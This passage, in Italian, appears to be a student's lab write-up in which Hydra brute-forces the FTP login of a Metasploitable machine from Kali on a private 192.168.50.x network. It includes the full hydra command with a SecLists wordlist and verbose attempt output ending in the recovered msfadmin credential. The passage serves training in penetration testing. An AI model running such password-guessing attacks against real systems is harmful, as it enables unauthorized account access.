Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service o
rganizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-13 11:29:28
[DATA] max 4 tasks per 1 server, overall 4 tasks, 43048895616480 login tries (l:8295456/p:5189455), ~10762
223904120 tries per task
[DATA] attacking ftp://192.168.50.100:21/
```

DOPO UN BEL PO DI TENTATIVI E PARECCHIO TEMPO TRASCORSO NONOSTANTE LO SWITCH -T4 RAGGIUNGO L'OBIETTIVO.

#BONUS: FTP DA KALI A METASPLOITABLE

AL FINE DELL'ESERCIZIO È SUFFICIENTE CHE LE DUE MACCHINE (KALI E METASPLOITABLE) SIANO SULLA STESSA RETE, LASCIO QUINDI L'IP DI METASPLOITABLE SIA 192.168.50.101, MENTRE QUELLO DI KALI LINUX RESTERÀ 192.168.50.100. E FACCIO UN PING DI PROVA DA KALI.

```
django@kali: ~
File  Actions  Edit  View  Help
┌──(django㉿kali)-[~]
└─$ ping 192.168.50.101
PING 192.168.50.101 (192.168.50.101) 56(84) bytes of data.
64 bytes from 192.168.50.101: icmp_seq=1 ttl=64 time=0.745 ms
64 bytes from 192.168.50.101: icmp_seq=2 ttl=64 time=1.71 ms
^C
── 192.168.50.101 ping statistics ──
2 packets transmitted, 2 received, 0% packet loss, time 1035ms
rtt min/avg/max/mdev = 0.745/1.229/1.714/0.484 ms
```

PER RENDERE LA COSA VELOCE HO AGGIUNTO LA PASSWORD DI ACCESSO DI METASPLOITABLE MSFADMIN ALLA WORDLIST CHE ANDRÒ AD UTILIZZARE.

```
┌──(django㉿kali)-[~]
└─$ sudo nano /usr/share/seclists/Passwords/xato-net-10-million-passwords-10.txt

┌──(django㉿kali)-[~]
└─$ ho aggiunto la password di metasploitable (msfadmin)
```

```
┌──(django㉿kali)-[~]
└─$ hydra -l msfadmin -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-10.txt -t4 -V ftp://192.168.50.101

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-12 05:57:04
[DATA] max 4 tasks per 1 server, overall 4 tasks, 11 login tries (l:1/p:11), ~3 tries per task
[DATA] attacking ftp://192.168.50.101:21/
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123456" - 1 of 11 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "password" - 2 of 11 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "12345678" - 3 of 11 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "qwerty" - 4 of 11 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123456789" - 5 of 11 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "12345" - 6 of 11 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "1234" - 7 of 11 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "111111" - 8 of 11 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "1234567" - 9 of 11 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "dragon" - 10 of 11 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "msfadmin" - 11 of 11 [child 0] (0/0)
[21][ftp] host: 192.168.50.101   login: msfadmin   password: msfadmin
```